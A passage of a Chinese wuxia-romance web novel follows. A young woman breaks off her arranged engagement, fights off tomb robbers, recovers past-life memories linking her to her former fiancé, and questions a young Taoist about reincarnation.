《凤傲天有不测风云》
1. 退婚
“今日这门婚事退定了。”
昭早早半分犹豫也无地搁下茶杯,杯沿和盖碗在八仙桌上磕得叮当一响,敲锣打鼓般昭示着说话人的决绝。
主座上将军府王夫人神色自若,并不将她的宣称放在眼里,只淡淡对另一位贵妇人道:“昭家家主可知此事?”
“自然是知道的,只是此事多少有损两家体面,不若大事化小。”
昭家主母玉迟雪拿出一方锦盒,面含愧色道:
“是我教女无方,实难相配贵府肖公子,今退还信物,万望见谅。”
王夫人慢条斯理品一口茶,道:“何出此言。”她话虽如此问,却已抬眼示意侍女将锦盒接过收好。
昭早早见状一颗心定下七八成,不由松一口气,而玉夫人面色尴尬,嗫嚅未作应答。
王夫人又对昭早早道:“想来昭姑娘才情出众,即是名门贵女,瞧不上肖平一介遗孤也是理所当然。是他高攀了。”
这一记含沙射影骂得难听,玉夫人尚未反应,昭早早矢口否认道:
“并非如此。肖公子有幸得将军府收养,怎算遗孤?再者,我不也一样自幼怙恃双失,寄居叔父叔母家中。”
她全不忌讳地与叔母玉迟雪对视一眼,坦坦荡荡道:“论出身,我哪有挑剔他的资格。”
这话说得直白,王夫人极浅地一笑:“哦,那昭姑娘又是为何?”
“夫人知道,我与肖公子都在集英书院读书,同窗多年。”毕竟甄城的书院不算多,这家是其中最负盛名的。
“虽说男女分院授课,但这么些年院内庆典、比试会不少,免不了有所交集。而肖公子每每见我,分外冷淡。与我说过的话,屈指可数。”
昭早早稍作回忆后,伸出一个巴掌,“最长的一句,只有五个字。”
更糟心的是,那五个字竟是“莫欺人太甚”,甚至还有一声“住手”的轻喝作为前缀,令昭早早稍一回想就气不打一处来。
“我与他两相不喜,情淡缘浅,勉强也是徒增一对怨偶,不如退婚。”
“并非如此。”
一道清冷的声音先递进门来,像是拂过河岸的北风,无端往这富丽堂皇的厅堂卷入一缕冷冽的湿意。
这肖平不知从何处赶来,一身青衣风尘仆仆,面容苍白疲倦,几缕发丝垂落在额前,略略有些落拓。
他抬手向两位夫人见礼,或许是天生的五官清冷,看不出多少情绪。
他转头对昭早早解释:“没有不喜……”
昭早早抢白道:“那也没有喜。”
既然人就在眼前,机会难得,她自然要好好与他说明白。
“我深知肖公子克己守礼,历年都是书院中的礼法典范,必然重诺,绝不愿轻易毁约。”
“但我不同,我只愿与心上人相守白头,无法勉强自己。此番是我失信在前,万望肖公子见谅。”
肖平沉默不语,只凝眉看向她,昭早早不躲不闪与他对视,这时露怯,反倒是对肖平的不尊重。
她看向他分明的眉眼,不得不说,肖平一双眼生得淡然却灵动,沉沉宛若秋水,定定如青山。
而他看她时分外专注,好似有言语万千都蕴藏在那两口深潭中——昭早早读不懂那些,只道开弓没有回头箭,此时决不能退。
好在他二人并未相持多久,便另有呱噪之人打破僵局。
“好一个厚脸皮,婚约又不是儿戏,还由你挑拣上了?”
肖府正经少爷肖炎咋咋呼呼冲进门来,顶着肖平不赞同的目光厉声质问道:
“昭小姐也不掂量掂量自个儿什么斤两,从头到脚哪有一点淑女闺秀的样子?怎地你倒还来上门退婚,平哥没有嫌弃你,简直是你三生修来的福气!”
“住口。”
主座上王夫人八风不动,这一生轻斥却是出自肖平之口。肖炎恨恨剜她一眼,到底没有接着往下骂。
昭早早冷哼一声,心知今日怕是不能善了。
肖平算是肖炎名义上的大哥,虽则是义兄弟,但这肖炎打小跟狗皮膏药一样黏着肖平,亲昵得很,原本言辞间就多有瞧不上她的意思,这婚退了他未必不高兴,只是由自己来退,打了肖平的脸面,他自然恨得牙痒。
左右得罪死了,干脆做得再绝一些,也彻底打消肖平继续婚约的念头。
“你喜欢这福气,你有本事自己收着罢。”
忽略玉夫人挤眉弄眼抛过来的眼色,昭早早心一横,拍桌回骂道:
“他凭什么嫌弃我?凭他体弱多病,蒲柳之质?”
话已出口,便是覆水难收,昭早早不敢细看肖平脸色,索性快刀斩乱麻只盯着肖炎道:
“谁不知肖公子天生羸疾,自幼便是药罐子,身手平平。纵他脑子再好,书院一甲,又有何用?”
“本朝有律,军户世袭,他书读得再好也不能考取功名。如此文不成武不就,我凭什么不能退婚?凭他冷似冰山不爱说话?”
语惊几座不知道,反正玉迟雪先惊了,被茶水呛得连连咳嗽,昭早早目光牢牢锁死肖炎,半点不敢往别处瞟。
虽说是为了彻底了断这桩孽缘,不至耽误彼此终身,但出口伤人,尤其这个人并未做任何对不起自己的事,到底问心有愧。
“你、你、你……!”肖炎怒发冲冠,气结之下话都说不顺溜,手指着她一通狂点,要不是两家长辈都还在场,恐怕得用拳头论理。
当然,打起来必定什么婚事也黄了,昭早早正盘算着要不再刺激他两句,就听主座上王夫人冷声道:
“既如此,此婚约便作罢,昭夫人和昭小姐请回吧。”
临走前昭早早良心不安地偷摸着回看肖平一眼,岂料对方也在看她,嘴唇微阖,好像念了一声什么。
昭早早一向耳力过人,却并未听到任何声响,想来他并未真的出声。光看口型,她猜不出何意,但总归不像骂人,到像是在喊一个名字。
但并不是她的名字。昭早早叹息,她倒是宁愿肖平骂她两句。但一想到两人日后都不必再为一纸婚约所累,还是不觉后悔。
一辆宽大别致的双驾马车稳稳当当驶离将军府,直奔城外。
车厢中“玉迟雪”一身头面未换,脸孔却变了一副,正是昭早早的侍女云从。她尚且惊魂未定,频频抚着胸口顺气,喃喃道:
“那将军夫人太可怕了,她盯着我的时候,我差点以为她要将我看穿。”
“怕什么,你的易容术可是深得我叔母真传。”昭早早也没心思调笑她胆小,脑中把事情的经过又从头捋了一遍,复盘道:
“咱们人是好好从大门走出来的,信物他们也收回了,按理这婚约已确实作废,双方也并未结仇吧?”
“于将军府肯定无碍,我看那夫人巴不得你来退亲。”云从笃定道,“但肖二少爷恨不得扒了咱们的皮。”
昭早早白眼一翻:“谁管那傻老二。肖平呢?”
云从莫名道:“我怎么知道。”
“我说完那番话之后,他是什么表情?”
“没注意,”云从摇头,“我留神应对着将军夫人呢,哪有心思看他。”
“……”昭早早口唇微张,一时哑然。
云从见状惊疑不定,怕道:“不会事到如今,你后悔了吧?”
“怎么可能!”昭早早没好气道:“我后悔早饭没吃两笼包子,也不会后悔退婚。就是单纯感慨一下不行吗?”
她果然托着腮回忆起来:“其实刚进书院那会儿年纪小,大伙不分男女都在一块读书,我觉得肖平这人还怪有趣的,老是板着个嫩生生的小脸装老成。”
“他越是一本正经,我越爱逗他,往他衣服上扔苍耳子什么的,他也不生气。”
“等大了些,男女隔着墙分院授课,我还翻墙过去找他玩呢!”
忆起童年趣事,昭早早嘻嘻一笑,只是慢慢的,嘴角又撇了下去。
“后来你也知道,书院被姓朱的、姓李的搞得乌烟瘴气。可不管我做什么,不管我为什么出手,他都认为是我先胡闹、是我恃强凌弱。敢情我还得谢谢他,凡事都这么高看我一眼。”
越想越是心气不顺,倒把愧疚感冲淡几分。意识到自己内心深处其实还是有些不舍,昭早早长叹一口气道:
“总而言之,他除了是非不分,老想让我跟他一起当圣贤外,的确是个怀瑾握瑜的正人君子。”
“我无端上门退亲,已令他颜面扫地,怕他挽留,又出言不逊,终归是我对不住他。”
“所以,我是不是有些过分?”昭早早问,“你说我要不要赔他笔钱?”
“非常过分,”云从斩钉截铁给出肯定答复,“但你没钱啊小姐。”
“听说肖公子是天生筋脉有损,才习不了肖家刚强一路的武功,你搁那使劲戳人脊梁骨……早知现在不忍心,方才又何必图一时嘴快。”
“算了,覆水难收。”昭早早摇摇头,甩开杂念,“好不容易才偷到那方信物,总不能让咱俩千辛万苦整的这一出白费吧!”
“主要是你整的,”云从狡黠地眨眼,“我是被你威逼利诱。”
“啊对对对,”昭早早爽利地掏出一个大荷包递过去,“这个给你,拿好。”
“什么东西?”云从一边好奇发问一边打开束口,“身契和盘缠你不是早都交给我了吗?这又是……”
“瓜子蜜饯,路上吃。”说着昭早早自己还抓了一把,“路挺远的,怕你出了城没地买,嘴巴闲不过。”
“多谢小姐。”云从眼眶微湿,由衷道,“你的恩情我永世不忘。”
“哎呀,乱说什么戏词。”昭早早被她说得怪不好意思的,直挠头道,“这事纸包不住火,叔父叔母肯定很快就会知道,弄不好我还得偷溜出来投奔你呢。”
“行啊,”云从点头如捣蒜一口答应,“记得跑路的时候多带点银子,小姐。”
想到今日一别,云从从此自由,昭早早畅快大笑道:“下次见面喊我名字。”
她直将云从送出城外三十里,主要是怕临时雇来的车夫不熟悉山路。待与云从告别,卸下一匹马准备独自返城时,昭早早隐约听到附近传来窸窸窣窣的奇怪动静。
不似树上盘蛇,也不似鼠窜草动,倒像是一种铁锹翻土的声音。
这荒郊野外的怎会有人掘地,她知自己耳力极好,绝不可能听错,便好奇地循着声音传来的方向找去,果然在一处隐蔽的土丘边上,看到一个大洞。
大洞还正往外冒人呢,一个、两个、三个、四个……
好家伙,十来个灰头土脸拿刀带铲的大汉从地底下钻出来,其中一个贼眉鼠眼地率先
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发现了她,举刀一指,也不说话。
其他人自发将她围拢成一个圈。
“这年头还有人敢摸金?”昭早早大为惊奇,“我劝你们回头是岸,当今朝廷严刑峻法,像你们这样盗掘坟墓,是要被拉去填通天十二陵的。”
“小娘子胆子不小,还敢管老子们的闲事。”为首的大汉发出一阵□□,举着大刀威胁道:“识相的自己下来,省得爷费功夫拉你。”
“等等,你回答我几个问题,我就自己下来。”昭早早控着缰绳后退,“不然你们把马砍伤了,可卖不上钱。”
“嘿!”贼首稀奇一声,啐道:“那你问问看?”
昭早早也不废话,立刻便问:
“这底下埋的谁呀?你们怎么空手上来?是墓里没宝贝,还是你们功夫不行?”
“去你妈的!”贼匪恼羞成怒,抬手就去抓昭早早的脚。
“啧,怎么还急上了。”昭早早踩着他的手背翻身下马,“仔细别伤着我的马。”
她甫一下地便是窝心一脚,给方才充当她马凳的人踹出去一丈远。
贼匪们立时察觉不对,大刀劈头就向她砍去,昭早早矮身躲过左面一刀,擂出去一拳直捣对方腰腹,将那人一圈腩肉都捣得倒凹进去,不仅自个如肉球被击飞,还撞翻身后两个同伙。
右面的匕首更好办,昭早早身法不改,就矮着身去推那人手肘,顺着他的力道给他偏一偏方向,一刀扎进他旁边弟兄的嘎吱窝。
剩下几个持刀的齐刷刷一阵乱砍,看那大刀阔斧的气势,是半点怜香惜玉也无,任她什么红颜都誓要剁成肉酱。
昭早早眉头一拧,不退反进,冲上前撩起裙摆一记扫堂腿掀翻数人在地,为首两个最先被她扫到的人,腿骨发出令人胆寒的脆响。
察觉身后动静不对,昭早早回身三拳撂倒四个偷袭的,一把扯下想悄悄骑走她马匹的贼子,扬手掼在地上,喝道:“什么孬种,还想跑?!”
面前横七竖八躺一地,事急从权,昭早早自不顾忌什么男女有别,解下他们各自的裤腰带一一绑缚手脚。
她边绑边喜上眉梢:还得是老天爷眷顾,瞎猫子碰上死耗子的,竟叫我立功了。
这番回城先去衙门禀报,让衙役来抓人,等我回家遭罚的时候,官府的人正好上门来嘉奖我,这样叔父叔母总不至于罚我太狠吧?
想到这里她活也干完了,人乐得差点笑出声,施施然翻身上马,疾驰而去,不防背后还有漏网之鱼“嗖”地放出一支冷箭。
阴沟里翻船这事,得看是多大的阴沟,多大的船。若是等级相差太多,船都驶不进沟里,谈何翻不翻呢?
昭早早凌空二指稳稳夹住射来的箭矢,策马未停!这支野鸡毛锈铁镞的烂木箭,破空声音那么大,她又不是聋子,怎么可能听不见?
昭早早侧身回望,当即手腕翻转,臂上发力,猛地将这杆箭原路掷回!竟当场洞穿那埋伏在山坡草丛里的余党。
“驾!”
不知道那人会不会死?昭早早回想自己的反应,似乎多少有点过激,可能是因为长这么大还没有人朝她放过箭。
没有人朝她放过箭……吗?
忽然间眼前蓝天绿树一片混沌,道路扭曲变形天地晦暗,无数青黑砖石从她周身凭空显现,堆砌成一条古老而深邃的地宫甬道。
墓顶的长明珠荧光森然,甬道两旁石壁上雕刻着神秘而复杂的图案,而她人早已不在马上——
而是提着一柄沉重的雪亮长刀、牵着另一个人在甬道里奔逃。锵锵的金铁之声如影随形,嘈杂的呼喝响彻耳畔:
“慕容青就在前面!杀了他们!”
“不留活口!”
满口的咸腥打乱了昭早早……不,是慕容青粗重的喘息,使得长刀“哐当”脱手砸落在地,正好痛饮从主人口鼻中狂喷而出的鲜血。
“阿青!”
一只骨节分明的手把慕容青从地上拉了起来,是与之一起逃亡的女子——
她周身浴血,一手拉住慕容青,一手持一柄软剑,形容狼狈,但眼神坚毅。
慕容青勉力试图甩开她的手,气声断续道:“听我的话,你先走……”
“一起。”对方的口吻不容拒绝,好像还很急促地说了些什么,慕容青耳朵濡湿着往外渗血,朦朦胧胧听不真切。
二人踉踉跄跄没有走多远,脚下传来隐约的震动,慕容青瞥见幽暗的甬道深处闪现点点寒芒,未及多想便反身护住了身边人。
冥冥中,时间的流逝仿佛停滞,漫天的箭雨交织成黄泉的罗网,慕容青并不在意,只想看清那张总是波澜不惊的脸,最后会是什么表情?
奈何猩红而粘稠的液体争先恐后地漫出眼眶,先一步夺走了自己的视野,慕容青遗憾地收紧双臂,在仅剩的感知中,倏地天旋地转……
两人交叠的身体相拥着向后仰倒,箭矢的冲击比预料中更大,原来箭锋钻开皮肉、箭脊钉入硬骨的震动是那么地清晰了然。
慕容青拥紧怀中因被刺穿而颤抖的脊背,发觉自己指尖的触觉竟也开始变得麻木,连汩汩涌出的热血,都感觉不到温度。
怎么会这样?慕容家多少年来、多少代人的努力功败垂成,都没有这一刻来的令慕容青痛彻心扉。
明明一切就快要结束了。
2. 昭家
“这几根破麻绳有什么用?!”
真正的昭家主母玉迟雪拍案而起,叱令左右道:“拿陨铁锁链来!”
家丁跑得飞快,全然不顾家主昭明还在点头哈腰地劝夫人息怒:“犯不着犯不着,早早还是个小姑娘,何必连兵器都请出来,没必要。”
“哈!”玉迟雪柳眉倒竖,怒极反笑,伸手一指正院中全数矗立起来的玉石柱子——
“谁家小姑娘随随便便就把你老昭家祖传的无极阵都打出来了?再不捆住她,祖宅给你拆光便罢,到外面乱伤人怎么办?!”
“对对对,夫人说的有理。”昭明挺直腰板使唤手下,“还不快去把街上人都清一清,通知左邻右舍锁好大门避一避!”说完还不忘补一句:
“就说我们家关野兽的笼子松了,千万别坏了小姐的名声!”
“还名声,”玉迟雪冷笑道,“她连亲事都敢冒充长辈自己去退,哪里还在乎那个?”
昭明嚅嚅嗫嗫:“所以啊,以后不还得找下家。”
“你!”
陨铁锁链数百斤重,一时半会搬不过来,玉迟雪盯着院子里的动向,接着骂道:“这就是你只学了粗浅功夫的好侄女?你给我老实交代,背地里是不是教她了?!”
“天地良心啊夫人。”昭明也在观望,神色渐渐凝重起来。
“我那点微末武术,哪有必要教她,都是她自己在学院里跟着武术教头瞎练的,左右不过是些简单寻常的拳脚功夫。”
玉迟雪驳斥道,“她从前是没什么招式,全靠天生的五感和一身蛮力胡来,可现在呢?你自己看!”
她指向破损近乎半数的玉石桩,恰逢昭早早又一个运劲打碎半个,同时几点殷红溅落。
“我没有见过这种招式,但她出招行云流水一气呵成,可见没少练。”
玉迟雪目光炯炯,冷静地分析着,“可她的手却正相反,你看,好几处已然震裂,不像是经常锻炼,否则必然起茧。”
昭明也看见了,明显心疼居多,“一会我就派人去学院查,看她那个教头是什么来路。”
“陨铁锁链到了!”
只见七八个家丁抬着一口沉重的木箱向二人赶来,玉迟雪嫌慢,主动迎上去,几百斤重的木箱,她一左一右拿住两边提环,双手一拽便拎起来,快步向阵沿走去。
“夫人,坤位左二,离位上三,巽位第六啊!”昭明放声提醒完,不禁小声嘀咕道:“这架势,她俩竟不是母女,也是怪哉。”
又抬手招呼管事:“少爷怎么还没回来?”
管事如实禀报:“舅爷传信今年的曲水坝比往年更难开一些,所以耽搁了时日。不过少爷清早就应该能到,已经派人在船坞候着了。”
昭明颔首道:
“再多派两个人去接,告诉他家中有急事,速回。”
那边玉迟雪已将陨铁锁链全数投入石柱上正确的机关进口,齿轮咔咔转动连声所响,可一会又动静全无。
难道年久失修?正打算敲两下看能不能恢复,一道迅捷如电的身影猛冲向玉迟雪面门,她骇然抬手格挡!
好在机关适时启动,三条铁索从不同方位同时如灵蛇般窜出,游走间将阵中人牢牢捆住。玉迟雪定神看去,她的好侄女被缚在地,狂性大发地挣扎着,泪盈于睫。
玉迟雪见状不免诧异,这孩子打小心眼大,又倔犟得很,上一次见她哭,还是十五年前。
彼时昭明的兄长携妻女返回甄城,行至山间,却突遇土石流从天而降,唯余幼女昭早早幸存于世。
他们将人领回来,孩子沿途半点不闹腾,只是一直默默地流泪,就这样哭了一天一夜,哭到昏沉沉睡去,再醒来,便是什么都不记得了。
昭家西厢房。
“你的意思是,她可能记起来什么?”
“我听她昏迷之前不住地念着‘活下去、不要死’,或许是想起了父母亲吧?”
“等她醒了,我来问问。”
“那又何必?往事已矣,她自己若不说,我们也不要多问,徒惹伤心。”
“可万一有什么线索……”
“能有什么线索,这孩子当年才五岁,就算有,也不是这么小的孩童能注意到的。”
“说的也是,当初肖府的人叫咱们去领她……”
“嘘!她醒了。”
昭早早从模糊而漫长的梦境中悠悠转醒,胸口仍像是被压着沉重的巨石,余悸难平。
她隐约听到屏风后面叔父叔母在说些什么,两人见她苏醒便不再交谈,而是问了她几句状况,这才喊人进来开锁。
这么大粗链子还上锁,怪不得胸口挺沉的。
昭早早默然无语,活动着全身酸痛的关节,也不知道是谁把她的手缠得跟个粽子似的,这下更衣洗漱都只能任由侍女伺候摆弄。
大厅里老大夫静候多时。
昭家少爷昭睿也回来了,于是阖家上下全围着老大夫看他望闻问切,并各抒己见。
老大夫抚着灰白的胡须烦不胜烦:“不是疯病,不是癔症,没有中邪。”
“老夫观之不过是梦魇受惊过甚,心气激荡而已,无妨,喝几副凝神静气的药稍加调理便好。”说着忙不迭随管家去偏厅写方子。
剩昭家人彼此大眼瞪小眼,最后一齐将审判的目光投向昭早早。
“府衙的人应该快到了。”昭早早心里还是难受,但为防待会身体也难受,决定先发制人。“折腾这许久,嘉奖令也该……完了,我忘记去衙门通报了。”
“什么衙门?”
“什么嘉奖令?”
“快快快,”昭早早急道,“快让人通知衙役去城外向东三十里官道抓人,赶紧的,那伙盗墓贼还被我捆着呢!”
待她三言两语交待完前因后果,管家自带人去了,而她堂弟昭睿总结道:“所以你是跟匪徒打架伤到脑子了?可刚才李大夫说你没外伤啊。”
“也许是受惊了吧,”昭父心疼道,“你都梦到些什么?好像被魇住了一样。”
“记不得了。”昭早早摇头,“但我现在没事了,叔父。”
她倒也不是刻意要撒谎,只是有些内容她不便说,有些也确实记不清晰。她脑子里一时充斥了太多片段,若不是发泄到精疲力尽,恐怕也无法这么快清醒。
“那说正经事,”玉迟雪清了清嗓子,质问昭早早道:“你偷拿信物,私自去将军府退婚又是怎么回事?瞎胡闹!”
“肖平虽说是养子,但自小谦和有礼,品学俱佳,他父亲是肖府旧部,他母亲与你母亲更是表姐妹,两家这才指腹为婚。”
“你到底有何处不满,终身大事竟敢不跟我们商量就自作主张,简直胆大包天!你眼里还有没有我们这些长辈?”
“我分明跟你们提过数次,是你们不肯答应。”昭早早低声叹息,一提起肖平,她脑海中便又不自禁地浮现出那些梦幻泡影——
最后与慕容青血染一处、共赴幽冥的女子,分明是同样淡然而沉静的面容。
连她自己,与前世的五官也相差无几,只是男装女装,气质大不相同。
那些是前世的记忆吗?她甚至隐约记得,笙箫奏凤凰,鼓乐迎佳宾,自己娶过她……
“你刚说什么?”昭明没有听清。
玉迟雪嗤道:“她说这事怪我们此前不肯应允。也不想想她素日里所作所为,堪称威名在外。但凡还能有别的着落,我们又何至于……”
“叔母!”
昭早早倏地站起身打断玉迟雪道,“我多半是中了邪,才做出这种荒唐事。”
“我看也像。
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”玉迟雪不知她葫芦里卖的什么药,凤眼微眯,上下打量她一番道,“若不是李老先生说你肯定没中邪,我差点就叫人去云天观请道长了。”
“别听那江湖游医胡说八道,我真的中了。”昭早早斩钉截铁道,“道长不用请,就是……”
她一咬牙,“就是能不能再把信物拿回来,这婚先不退了。”
虽然思绪还有点混乱,但她与肖平九成九是宿世的情缘,她先前不知,如今知道了,哪还能安心做那负心薄幸之人。
别说玉迟雪,昭明都像见鬼一样看着她,昭睿也是直摇头。
“地里的萝卜你连根都刨了,还想再种回去?”玉迟雪气得够呛,骂道,“你当堂堂将军府连萝卜也不如吗!”
“这亲事由得你想退就退,想结就结?更别提你还敢叫那臭丫头假扮我,肖府是什么门第,这件事遮掩过去也就罢了,否则别说我们昭家脸面丢尽,云从也会被治冒充家主招摇撞骗之罪!”
一番话句句在理,昭早早低下头,她也明白希望渺茫,只是太不甘心。但凡早一天遇到那伙天杀的劫匪,她何至于此,唉!
转念一想,或许这也是天意?昨日种种譬如昨日死,今日种种譬如今日生,若真因为前尘旧梦而束缚今生,让肖平娶了他并不喜欢的自己,又对他算得上是什么补偿呢?
玉迟雪还在数落:“而且你可不许空口白牙地瞎说李老先生,人家当年可是赫赫有名的神医,要不是肖老将军有恩于他,他哪里又会在甄城归隐,照看肖府上下。更遑论我把人请来了!”
“肖府上下?”昭早早闻言一震,拔腿便向偏厅跑去。
李老先生写完方子收过诊金,正拾掇医具箱准备走人。
“李神医!”昭早早上前抬起粽子手躬身就给老先生行了一个大礼,“多谢李神医妙手相救!”
“不敢当。”李老先生摆手道,“昭小姐身体康健,本就无大碍。”
“神医,我有一事相求。”昭早早开门见山,想来肖家必不会这么快将她上门退亲的事传得满城皆知,便道:
“不瞒您说,我与将军府肖平公子是指腹为婚的娃娃亲。”
“我知他先天经脉有损,一直想为他寻到金乌玉片,做一件贴身蕴养的内衫。但我不清楚他具体何处受损,还望神医相告。”
“昭小姐,恕不能从命。”李老先生为难道,“一行有一行的规矩,老夫身为医者,绝不可私下透露病人的病情。昭小姐不如亲自去问肖公子。”
“李神医,他伤在背上对吗?”昭早早观之神色,便知所料不错。
“其实我问过他,他也如实相告于我,只是位置太多,我脑子笨,怕记错误事,再去问,又显得我心不诚。”
她全然为情所苦的凄楚模样,指着医具箱中的人体经络图恳求道:
“我可以把我记得的地方一一指出来,求您帮我过目,如果没有错漏,那便最好,如果不对,您也无需告诉我哪错了,您就摇摇头,我自己再去问他可好?”
“这……”
见老先生抚着长须犹豫起来,昭早早趁热打铁,铺开图纸抢白道:“那我这就开始指了,多谢李神医成全!”
她一把扯掉手上的白布条,带伤的手指点出的第一处是,志室……
所有属于慕容青的记忆就像沙漠中的海市蜃楼,看似逼真,每每靠近却又难以触及。只有即是最初、也是终局的那一段,镂魂刻骨,无比清晰。
那时指尖的触觉,似乎还残留在手上——她记得钉入她身体的每一根箭矢,一一在图上点出标记,竟然一共有七根。
“昭小姐,精诚所至,金石为开。”李老先生露出赞许的微笑,“届时别忘了请老夫喝杯喜酒。”
“一定。”她也笑着,忍下几欲夺眶而出的泪意。
3. 道长
昭早早亲自恭敬地把老神医送出府,顺便对门丁道:“帮我转告叔父叔母,我去趟道观敬香,傍晚回来。”
她向来嫌车驾慢,能骑马就懒得坐车,但她多少年没去过道观,压根不认识路,只得叫人备好马车,再向云天观出发。
沿途经过府衙门口,正看到衙役牵着一串儿囚犯,还有个板车拖着的,看起来剩一口气。
昭早早瞟了几眼,不再留意,却是被对街面的飘香包子铺勾起馋虫,让车夫停那买屉肉包子。
“不好意思这一笼刚刚卖完了,您不着急的话等下一笼,半炷香就好。”
包子铺老板一边忙着上屉一边跟车夫解释,昭早早隔着车窗正巧看得清楚,一个面白肌瘦的年轻道长提着一大篮热气腾腾的肉包子,少说也有二十多个,摇摇摆摆,边走边吃。
虽说道士并不忌荤腥,但这位食量未免也太大了些。
左右昭早早也不着急,早去晚去都是去,不差这一会儿。
她想得是挺好,然而等行至道观附近,才发现香火鼎盛,车马如龙,要驾车进去还得多花不少时间。
反正她本也不想引人注目,干脆下车自个走,沿路差点踢到不少信众们自带的小香炉。
她随口问个大娘怎么不进去里面烧,大娘瞅着她一脸慈祥:“里面的大鼎早插满了,你要是有需要,我的炉子也可以借你用用,只收你一文钱。”
“多谢,多谢。”昭早早打着哈哈躲进去,果然道观里面烟熏雾绕如同白日升仙,一连排大方铜鼎烧得热浪滚滚,其下磕头如捣蒜的善男信女不计其数。
如何摩肩擦踵拾级而上才艰难地挤进灵宝正殿暂且不表,昭早早在殿里闲晃了一大圈,到处都是香客,一位道长也无。
功德箱那倒是有几个忙得团团转的小道童。
逮住其中一个问了问,原来道长们都需要提前邀约的。
每天来道观求签解梦的人太多,现在排个位序,少则十天半个月,多则小半年,约莫就能见着,如果是大福主实在有什么要紧事,再另行通传。
昭早早瞠目结舌,暗叹自己还是见识太少,又想起叔母说什么把云天观的道士请到家里来驱邪,可见她应该就是那种慷慨的“大福主”,天晓得捐了多少香火钱。
不然报叔母的名字?昭早早思量着,到底还是不想暴露身份,反正她也仅是有点小疑惑,随便问问。
“小仙童,你悄悄告诉我,”昭早早弯下腰,笑眯眯往道童手里塞了一粒小碎银:
“咱们观里有没有那种既不德高也不望重,年纪轻轻,没几个人找的赋闲道士?”
“……”
“实在没有你也行,你学道几年了?”
“我不行的,我不行的。”小道童头摇得像拨浪鼓,“最近有个云游道士来观里修行,师父安排他一个人在后院做事,你要不介意的话……”
“不介意,走。”
小道童于是领着她七拐八弯,还路过了几间偏僻的静室,依稀就是道长会见香客的地方。
她全然无意偷听,怪就怪这里墙壁薄,她天生耳力又好,正巧听到有人在算卦——
“请道长为我卜算,此去王都进献,是否能顺利入宫?”
好险没平地摔个跟头,昭早早放缓脚步,若是从前,她只会觉得皇帝老儿命中无子却又好色逞能,一把年纪还要广纳后宫,劳民伤财。
而现今再看,这无德暴君得国不正、传嗣无人却还能稳坐帝位近二十载,可见背后诡谲权术无所不用,这或许是他平衡世家的一步棋而已,只是苦了那些无辜少女。
等等,这声音怎么有点耳熟?
“恭贺朱小姐,是上上签。且看这签文里乘风而上,定然贵不可言……”
朱小姐?
那没事了,这种在学院里骄横跋扈欺凌弱小的小姐最适合去皇宫了,昭早早只当什么也没听见,快步追上小道童。
后院离得不远,她跨门进去就看到有个清癯如竹的道士在架子上晾晒书卷,把泛黄的老纸张一一展开、抚平。
“祁道兄,有位福主想找你。”
小道童凑上前去叽叽咕咕,昭早早稍一凝神就把他的交待听得一清二楚,什么解梦论道三两,占卜问卦五两,求平安符五两,姻缘符得十两?!
凭什么姻缘符就贵这么多,这很难不让人多想。
天气甚好,两人就对坐于院落中的藤桌椅,跟经卷一起晒太阳。小道童回去看他的功德箱,临走前还算周到地给他们沏了壶茶。
昭早早先开口寒暄道:
“祁道长,我看您面善,不知是不是从前见过?”
“应是不曾。”祁道长微微一笑,“贫道第一次来甄城。”
“您这样云游四海的高人,一定见多识广。”昭早早恭维一句,便话锋一转道:
“我曾听闻洞南有个县城里的屠户,自称是生来就有前世记忆的两世人,把前生的生平说得有鼻子有眼,还认祖归宗什么的。”
“后来朝廷判定此乃妖邪祸世之兆将他抓捕,他又改口说是酒后胡言,最后还是被填进了通天十二陵。道长,你说当真有两世人吗?”
祁道长听她问完,不紧不慢道:“莫须有。忘川桥上孟婆日日施汤,轮回转世之时,或有遗漏,亦未可知。”
昭早早双手合十,做了一个请神勿怪的手势。
“非是我不敬神灵,而是我想不通,若当真有因果轮回,神明巡世,为何世间还有诸多灾祸苦厄。良人枉死,奸佞逍遥时怎不见神灵现身?”
祁道长反问她:“你又怎知神灵没有现身,指引、庇佑惩恶扬善之士?神灵授命于人,一如天子受命于天。”
这要是不拿天子举例还强点,提到那视苍生如草芥的老东西,昭早早更觉奉天承运这种说法扯得要命。
这种大不敬的话又不能宣之于口,她便换一种说法道:
“纵观史书,大奸大恶之徒福寿双全、安享晚年的屡不鲜见,这又作何解释?”
祁道长对答如流:“善恶终有报,近报自身,远报子孙。”
“太宗皇帝一朝,连年征伐不休,玄甲军统帅邬子阳灭真岚、昌必等十余小国,连其子民也不放过,造杀孽无数,却享寿八十有四。”
“邬家自此通达,时至今日依然是西北世家大族,未见祸及子孙。”
祁道长老神在在:“天道好轮回,不是不报,时候未到。”
昭早早拧眉道:“再兴盛他个几百年?”
祁道长答:“你只看罪人今生无恙,却不知他死后如何在十八层地狱遭受刑罚,永世不得超生。”
“说的极是。”昭早早点头,“我确实不知,所以该如何确定他在受罚?”
“要有信念。”祁道长笃定道,“信则有,不信则无。心诚则灵。”
“好的道长。”昭早早顺着他的话往下思考:
“若我坚信天道轮回不休,鬼神会奖惩世间一切是非善恶,那么这样一来,所有命数就自有天定,我只须安静地等着天命的安排就好。”
“既如此,这世间众人又何须刻苦求知求道,力争上游?倒不如随便混着等老天爷赏饭吃。”
她突然悟到:“这莫非就是清静无为,持守中道?”
“……”祁道长沉默片刻,端起茶杯,抿一口才道:“福主颇有慧根,要是想出家修行的话,得去坤道院,云天观不收女道
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士。”
“其实我刚才也正想此节,要是人人都坚信此道,都清静无为、出家修行的话,由谁来供养修者?”
“如果大家各自养活自己,该种地的种地,该养蚕的养蚕,经商的打铁的,不一而足,那跟现世又有什么区别?”
“道法自然,本应如此,而人世间将不再有纷扰斗争。”
“可没有人成家生子,几十年人世间不就没了?”昭早早凝眉道,“众生普渡,下一世上哪投胎?全都位列仙班,天庭岂不人满为患?”
祁道长低头饮茶不说话,昭早早端量他一会,发现他仍旧没有开口的意思,心道到底还是太年轻,忽悠不上了。
这一通胡扯八绕越讲越偏,差点忘记还有正题没问,昭早早莞尔一笑,缓和僵局道:“道长,其实我是来解梦的。”
对方松一口气,终于抬起头来。
“福主请说。”
“这梦是我一个朋友做的,我只是代他来问问。”
此类话术必然太过老套,道士当即道:“无妨,请讲。”
“我朋友近来得祖宗托梦,告之她前世尚有欠债未曾偿清,而债主就在眼前。道长,您说我朋友是否理当偿债?”
“南柯一梦,岂可当真。”
“可道长不也说因果轮回?”
祁道长神色警惕,揣度片刻道:“俗语云人死债销,福主的朋友不作为也无不可。”
“我朋友光明磊落,自然是愿意偿还的。只是债主本人对前尘往事一无所知,该如何让他接受?”
